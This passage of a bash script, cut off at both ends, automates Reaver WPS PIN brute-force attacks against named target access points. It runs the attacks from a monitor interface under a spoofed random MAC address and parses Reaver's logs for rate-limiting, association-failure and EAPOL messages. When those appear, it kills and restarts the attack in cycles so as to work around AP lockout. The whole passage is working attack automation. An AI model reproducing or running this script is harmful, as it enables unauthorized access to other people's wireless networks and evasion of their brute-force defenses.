if [[ $USE_R1 == y || $USE_R1 == Y ]] && [[ $USE_LONG1 == n || $USE_LONG1 == N ]] && [[ $USE_PIN1 == y || $USE_PIN1 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME1"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL1"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP1"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX1" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY1"
echo -e "$info Reaver live time                   = $yel$LIVE1 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME1-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL1 -b $TARGETAP1 -vv -x 60 -r $RX1:$RY1 --pin=$WPS_PIN1 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME1-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE1-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R1 == n || $USE_R1 == N ]] && [[ $USE_LONG1 == y || $USE_LONG1 == Y ]] && [[ $USE_PIN1 == y || $USE_PIN1 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME1"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL1"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP1"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE1 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME1-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL1 -b $TARGETAP1 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN1 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME1-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE1-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R1 == y || $USE_R1 == Y ]] && [[ $USE_LONG1 == y || $USE_LONG1 == Y ]] && [[ $USE_PIN1 == y || $USE_PIN1 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME1"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL1"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP1"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX1" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY1"
echo -e "$info Reaver live time                   = $yel$LIVE1 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME1-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL1 -b $TARGETAP1 -r $RX1:$RY1 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN1 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME1-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE1-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME1-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME1-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME1-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP1 (ESSID: $NMEWARN1)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

#rm $TARGETAP1-$PAD

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE1 == n ] || [ $KEEP_FILE1 == N ]; then

          rm VARMAC_LOGS/$NAME1-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R2 == n || $USE_R2 == N ]] && [[ $USE_LONG2 == n || $USE_LONG2 == N ]] && [[ $USE_PIN2 == n || $USE_PIN2 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME2"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL2"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP2"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE2 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME2-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL2 -b $TARGETAP2 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME2-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE2-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP2 (ESSID: $NMEWARN2)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R2 == y || $USE_R2 == Y ]] && [[ $USE_LONG2 == n || $USE_LONG2 == N ]] && [[ $USE_PIN2 == n || $USE_PIN2 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME2"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL2"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP2"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX2" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY2"
echo -e "$info Reaver live time                   = $yel$LIVE2 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME2-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL2 -b $TARGETAP2 -vv -x 60 -r $RX2:$RY2 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME2-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE2-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME2-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME2-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME2-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME2-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

